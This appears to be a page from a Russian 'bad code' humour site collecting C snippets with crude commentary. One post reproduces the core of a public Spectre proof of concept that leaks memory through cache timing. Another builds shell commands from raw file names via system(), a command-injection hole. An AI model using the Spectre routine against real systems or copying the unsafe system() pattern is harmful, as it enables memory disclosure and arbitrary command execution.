- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
#include <stdio.h>
int main() {
double x = 0.11111;
printf("%lld\n", x);
double y = 0.11111;
printf("%lld\n", y);
}
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
0
#include <stdio.h>
int main() {
double x = 0.11111;
printf("%lld\n", x);
double y = 0.11111;
printf("%lld\n", y);
}
https://ideone.com/FHKfA6
УБЭ?
0
char bytes[] = {1, 2, 3, 4, 5, 6, 7, 8, 9};
function1(bytes);
(void)(bytes[0] = 10), (void)(bytes[1] = 11), (void)(bytes[2] = 12); //WTF?
function2(bytes);
Вот такую байду требует написать XCode при присвоении элементов массива через запятую, иначе warning.
Гейкорп и их главпидор Кук совсем охренели, мало того что последие хуйкоды крашатся и виснут по фазам луны, мало того что встроенный гуй систем контроля версий работает как говно, так оно еще и ворининги выдает на ровном месте - качество apple - blyad.
0
#include <stdio.h>
#include <string.h>
#include <math.h>
char *questions[] = {
"Answer these questions please.",
"I am HACTEHbKA. Do you know about me?",
"Do you like my love stories?",
"By the way, what is your name?",
"Do you like C++?",
"Do you like bormand?",
"bormand is cool, isn't he?",
"Do you know what does it mean?",
0,
};
int main () {
char answer[10], **question = questions, z[30] = {0}, Z = questions[0x04][0x10];
while (*++question) {
float x = 1, y = 7;
char* a = answer;
puts(*question);
gets(answer);
while (*a) {
x *= 10;
x += *a / 90;
a ++;
}
y = (9/x - 120)/x/x/x;
if (y > 170/x - 1263 - 437/x/x) {
int U = **questions;
for (U = 1/(x+1); U < ' '; U += 0x10) {
float bormand = 9*y-6*x*sqrt(y)-6*sqrt(y)+1.0*x*x*x*x-5.2*x*x*x+11.14*x*x-6.788*x+6;
z[Z|U] = questions[5-U/5+1/(int)bormand][(int)(Z + questions[0x06][0x10] / 2.6)];
if ((Z|U|7) * (int)question[1] < 30) puts(z + U);
}
Z++;
}
}
return answer == questions[1];
}
https://ideone.com/zDcuG2
0
/*
* Returns 1 if filename has .zip extension.
*/
static int
str_zipext(char *name)
{
int i;
i = strlen(name) - 1;
if (i < 0 || name[i] != 'p' && name[i] != 'P') return 0;
i--;
if (i < 0 || name[i] != 'i' && name[i] != 'I') return 0;
i--;
if (i < 0 || name[i] != 'z' && name[i] != 'Z') return 0;
i--;
if (i < 0 || name[i] != '.') return 0;
i--;
if (i < 0) return 0;
return 1;
}
https://github.com/fabiensanglard/xrick/blob/239d213f01be8d0086c449080ce61bde8dcad7b4/src/data.c#L189
0
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = 999; tries > 0; tries--) {
/* Flush array2[256*(0..255)] from cache */
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));
/* Call the victim! */
victim_function(x);
}
/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
time1 = __rdtscp( & junk); /* READ TIMER */
junk = * addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
}
/* Locate highest & second-highest results results tallies in j/k */
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[0] ^= junk; /* use junk so code above won’t get optimized out*/
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
Красиво. Душевно.
https://github.com/Eugnis/spectre-attack
0
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/fb.h>
#include <stropts.h>
#include <sys/mman.h>
#include <unistd.h>
typedef unsigned char uint8_t;
typedef unsigned short uint16_t;
typedef unsigned int uint32_t;
typedef unsigned long int uint64_t;
inline uint32_t pixel_color(uint8_t r, uint8_t g, uint8_t b, struct fb_var_screeninfo *vinfo)
{
return (r<<vinfo->red.offset) | (g<<vinfo->green.offset) | (b<<vinfo->blue.offset);
}
int main()
{
int fb_fd = open("/dev/fb0", O_RDWR);
if(fb_fd == -1) {
perror("open");
return 1;
}
struct fb_fix_screeninfo finfo;
struct fb_var_screeninfo vinfo;
//Get variable screen information
if(ioctl(fb_fd, FBIOGET_VSCREENINFO, &vinfo) == -1) {
perror("ioctl");
return 1;
}
//Get fixed screen information
if(ioctl(fb_fd, FBIOGET_FSCREENINFO, &finfo) == -1) {
perror("ioctl");
return 1;
}
vinfo.grayscale=0;
vinfo.bits_per_pixel=32;
if(ioctl(fb_fd, FBIOPUT_VSCREENINFO, &vinfo) == -1) {
perror("ioctl");
return 1;
}
if(ioctl(fb_fd, FBIOGET_VSCREENINFO, &vinfo) == -1) {
perror("ioctl");
return 1;
}
if(vinfo.grayscale != 0) {
printf("Error set grayscale!\n");
return 1;
}
if(vinfo.bits_per_pixel != 32) {
printf("Error set bits_per_pixel!\n");
return 1;
}
long screensize = vinfo.yres_virtual * finfo.line_length;
uint8_t *fbp = mmap(0, screensize, PROT_READ | PROT_WRITE, MAP_SHARED, fb_fd, (off_t)0);
if(fbp == MAP_FAILED) {
perror("mmap");
return 1;
}
uint32_t pixel = pixel_color(46, 255, 46, &vinfo);
//Убедитесь, что вы правильно установили x, y и пиксель
long line = 0;
while(1)
{
if(line > vinfo.xres) break;
long location;
for (long x = 0; x < line; x++)
for (long y=0; y<vinfo.yres; y++)
{
location = (x+vinfo.xoffset) * (vinfo.bits_per_pixel/8) + (y+vinfo.yoffset) * finfo.line_length;
*((uint32_t*)(fbp + location)) = pixel;
}
line++;
usleep(100000);
}
return 0;
}
угадайте до запуска по какой оси прога будет рисовать и понос пролетит мимо вас!
−2
#define POLY 0x8408
/*
// 16 12 5
// this is the CCITT CRC 16 polynomial X + X + X + 1.
// This works out to be 0x1021, but the way the algorithm works
// lets us use 0x8408 (the reverse of the bit pattern). The high
// bit is always assumed to be set, thus we only use 16 bits to
// represent the 17 bit value.
*/
unsigned short crc16(unsigned char *data_p, size_t length)
{
unsigned char i;
unsigned int data;
if ( length == 0 ) return 0;
unsigned int crc = 0xFFFF;
do
{
data = *data_p++;
for ( i=0; i < 8; i++ )
{
if ( (crc ^ data) & 1 )
crc = (crc >> 1) ^ POLY;
else
crc >>= 1;
data >>= 1;
}
} while ( --length != 0 );
crc = ~crc;
data = crc;
crc = (crc << 8) | ((data >> 8) & 0xff);
return (unsigned short)(crc);
}
Типичный пример непортабельной хуйни на Си.
0
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <time.h>
int files_hidden = 0; int files_dirs = 0; int files_files = 0;
#define MEGA 1007
void nextDir(char *path, FILE *f, const char *verbose)
{
DIR *dir = opendir(path);
if(dir)
{
struct dirent *ent;
while((ent = readdir(dir)) != NULL)
{
if(strcmp(ent->d_name, ".") == 0) continue;
if(strcmp(ent->d_name, "..") == 0) continue; if(ent->d_name[0] == '.') files_hidden++; char tmp[MEGA];
if(strcmp(verbose, "v") == 0) printf("%s/%s\n", path, ent->d_name);
sprintf(tmp, "test -d \"%s/%s\"", path, ent->d_name); int ret = system(tmp);
if(ret == 0) {
files_dirs++;
sprintf(tmp, "%s/%s", path, ent->d_name);
if(strcmp(verbose, "v") == 0)
fprintf(stdout, "Вход в папку - \"%s\"", tmp);
nextDir(tmp, f, verbose); } else {
if(strcmp(verbose, "v") == 0)
fprintf(stderr, "\"%s/%s\" - это не папка\n", path, ent->d_name);
files_files++; }
sprintf(tmp, "%s/%s\n", path, ent->d_name); fputs(tmp, f); } }
else { fprintf(stderr, "Произошёл какой-то сбой! Папку \"%s\" не получилось открыть\n", path);
} }
int main(int argc, char const *argv[])
{
if(argc != 2) {
fprintf(stderr, "Арг пропиши\n"); return 3;
}
if(strcmp(argv[1], "v") != 0 && strcmp(argv[1], "s") != 0) {
fprintf(stderr, "Либо s либо v в аргах!\n"); return 4;
}
printf("Начинается сбор...\n"); time_t start = time(NULL); FILE *mainF = fopen("db", "w");
if(mainF == NULL) {
perror("fopen");
return 1;
}
DIR *dir = opendir("/");
if(dir) {
struct dirent *ent;
while((ent = readdir(dir)) != NULL) {
if(strcmp(ent->d_name, ".") == 0) continue; if(strcmp(ent->d_name, "..") == 0) continue; if(strcmp(ent->d_name, "proc") == 0) continue; if(strcmp(ent->d_name, "dev") == 0) continue; if(strcmp(ent->d_name, "sys") == 0) continue; if(strcmp(ent->d_name, "tmp") == 0) continue; if(strcmp(ent->d_name, "lost+found") == 0) continue;
if(strcmp(ent->d_name, "run") == 0) continue;
if(strcmp(argv[1], "v") == 0) puts(ent->d_name);
if(ent->d_name[0] == '.') files_hidden++;
char tmp[MEGA];
sprintf(tmp, "test -d \"/%s\"", ent->d_name);
int ret = system(tmp);
if(ret == 0) {
files_dirs++;
sprintf(tmp, "/%s", ent->d_name);
if(strcmp(argv[1], "v") == 0)
fprintf(stdout, "Вход в папку - \"%s\"\n", tmp);
nextDir(tmp, mainF, argv[1]);
}
else {
if(strcmp(argv[1], "v") == 0)
Пришлось строки многие подряд написать чтоб вместилось сюда!
Эта прога сканирует все файлы на линукс а пишет их в файл. И в конце ещё статистику выдаёт.
На моём компе выдало следующие результаты:
======= Результаты =======
Папок: 1207
Файлов: 23351
Скрытых файлов/папок: 2
Всего файлов: 24560
Время выполнения в секундах: 602
Короче жду правдивых результатов в комментариях!
А также критику, прога ещё недоделана и глюкает!
А утилиту test использует потому что если я сделал без неё прога вышла бы слишком сложной, а всё гениальное просто
+2
PHPAPI void php_var_export_ex(zval *struc, int level, smart_str *buf) /* {{{ */
{
/* insignificant bullshit omitted */
zend_string *ztmp, *ztmp2;
switch (Z_TYPE_P(struc)) {
case IS_STRING:
ztmp = php_addcslashes(Z_STR_P(struc), 0, "'\\", 2);
ztmp2 = php_str_to_str(ZSTR_VAL(ztmp), ZSTR_LEN(ztmp), "\0", 1, "' . \"\\0\" . '", 12);
smart_str_appendc(buf, '\'');
smart_str_append(buf, ztmp2);
smart_str_appendc(buf, '\'');
zend_string_free(ztmp);
zend_string_free(ztmp2);
break;
}
}
/* }}} */
Пыхарь: Расмус, у меня верстка едет, когда я через var_export() нулевые байты в браузер кидаю. Пофикси! (https://bugs.php.net/bug.php?id=37262)
Расмус: Пофиксил тебе за щеку. Проверяй. (https://github.com/php/php-src/blob/master/ext/standard/var.c#L482)
Пыхарь: Проверил. Помогло. (https://ideone.com/gnCKh1)
0
#include "string.h"
#include "stdio.h"
int main()
{
char c[15],*d = &c[0];
scanf("%10u", &c[11]);
sprintf(d, "%u\0",
(c[11]&0xFF)|
((c[12]&0xFF)<<8)|
((c[13]&0xFF)<<16)|
((c[14]&0xFF)<<24));
do if (c[0] > *d) c[0] = *d;
while (*d++, *(d+1) != 0);
printf("%d\n", c[0]-'0');
return 0;
}
Находит наименьшее цифру в числе